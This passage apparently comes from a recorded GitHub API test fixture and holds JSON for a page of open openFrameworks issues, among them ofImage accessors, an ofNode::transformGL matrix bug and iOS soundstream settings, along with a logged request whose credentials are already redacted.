startup","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T19:12:56Z","updated_at":"2012-02-22T19:12:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/925","id":3324501,"number":925,"title":"ofImage has type as int, public vars, & missing getBPP, etc","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T00:28:08Z","updated_at":"2012-02-22T00:28:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/920","id":3248309,"number":920,"title":"Transform stack","user":{"login":"AugusteBonnin","id":1442658,"avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","url":"https://api.github.com/users/AugusteBonnin","html_url":"https://github.com/AugusteBonnin","followers_url":"https://api.github.com/users/AugusteBonnin/followers","following_url":"https://api.github.com/users/AugusteBonnin/following","gists_url":"https://api.github.com/users/AugusteBonnin/gists{/gist_id}","starred_url":"https://api.github.com/users/AugusteBonnin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AugusteBonnin/subscriptions","organizations_url":"https://api.github.com/users/AugusteBonnin/orgs","repos_url":"https://api.github.com/users/AugusteBonnin/repos","events_url":"https://api.github.com/users/AugusteBonnin/events{/privacy}","received_events_url":"https://api.github.com/users/AugusteBonnin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-16T09:39:46Z","updated_at":"2012-02-16T09:39:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)"}] https GET api.github.com None /repositories/345337/issues?page=4&per_page=100 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '283646'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 10:11:56 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:13:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/919","id":3248230,"number":919,"title":"Error in ofNode::transformGL","user":{"login":"AugusteBonnin","id":1442658,"avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","url":"https://api.github.com/users/AugusteBonnin","html_url":"https://github.com/AugusteBonnin","followers_url":"https://api.github.com/users/AugusteBonnin/followers","following_url":"https://api.github.com/users/AugusteBonnin/following","gists_url":"https://api.github.com/users/AugusteBonnin/gists{/gist_id}","starred_url":"https://api.github.com/users/AugusteBonnin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AugusteBonnin/subscriptions","organizations_url":"https://api.github.com/users/AugusteBonnin/orgs","repos_url":"https://api.github.com/users/AugusteBonnin/repos","events_url":"https://api.github.com/users/AugusteBonnin/events{/privacy}","received_events_url":"https://api.github.com/users/AugusteBonnin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-16T09:31:24Z","updated_at":"2012-02-16T09:31:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/916","id":3214174,"number":916,"title":"ofGetMouseX() and ofGetMouseY() should return float","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-02-14T05:17:47Z","updated_at":"2012-03-12T14:55:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/914","id":3189189,"number":914,"title":"Add ofGetDataPathRoot","user":{"login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","url":"https://api.github.com/users/pierrep","html_url":"https://github.com/pierrep","followers_url":"https://api.github.com/users/pierrep/followers","following_url":"https://api.github.com/users/pierrep/following","gists_url":"https://api.github.com/users/pierrep/gists{/gist_id}","starred_url":"https://api.github.com/users/pierrep/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pierrep/subscriptions","organizations_url":"https://api.github.com/users/pierrep/orgs","repos_url":"https://api.github.com/users/pierrep/repos","events_url":"https://api.github.com/users/pierrep/events{/privacy}","received_events_url":"https://api.github.com/users/pierrep/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-12T04:41:26Z","updated_at":"2012-02-12T04:41:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/909","id":3166745,"number":909,"title":"shapes with texCoords","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-02-10T01:42:42Z","updated_at":"2012-03-12T14:56:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/902","id":3152323,"number":902,"title":"Xcode templates should be fixed or removed","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-02-09T04:30:13Z","updated_at":"2012-02-09T08:16:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/901","id":3148441,"number":901,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-02-08T21:50:23Z","updated_at":"2012-10-19T05:29:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/896","id":3099567,"number":896,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-02-05T15:20:42Z","updated_at":"2012-02-05T17:11:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/880","id":2967700,"number":880,"title":"test ofMesh::load/save rigorously","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2012-01-25T16:55:09Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/878","id":2952993,"number":878,"title":"add a switch to the iphone soundstream to support ambient","user":{"login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","html_url":"https://github.com/jonbro","followers_url":"https://api.github.com/users/jonbro/followers","following_url":"https://api.github.com/users/jonbro/following","gists_url":"https://api.github.com/users/jonbro/gists{/gist_id}","starred_url":"https://api.github.com/users/jonbro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jonbro/subscriptions","organizations_url":"https://api.github.com/users/jonbro/orgs","repos_url":"https://api.github.com/users/jonbro/repos","events_url":"https://api.github.com/users/jonbro/events{/privacy}","received_events_url":"https://api.github.com/users/jonbro/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-01-24T16:41:17Z","updated_at":"2012-03-03T19:40:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/872","id":2875276,"number":872,"title":"saveImage crashes in iOS Simulator","user":{"login":"khlrqa","id":53301,"avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","url":"https://api.github.com/users/khlrqa","html_url":"https://github.com/khlrqa","followers_url":"https://api.github.com/users/khlrqa/followers","following_url":"https://api.github.com/users/khlrqa/following","gists_url":"https://api.github.com/users/khlrqa/gists{/gist_id}","starred_url":"https://api.github.com/users/khlrqa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/khlrqa/subscriptions","organizations_url":"https://api.github.com/users/khlrqa/orgs","repos_url":"https://api.github.com/users/khlrqa/repos","events_url":"https://api.github.com/users/khlrqa/events{/privacy}","received_events_url":"https://api.github.com/users/khlrqa/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2012-01-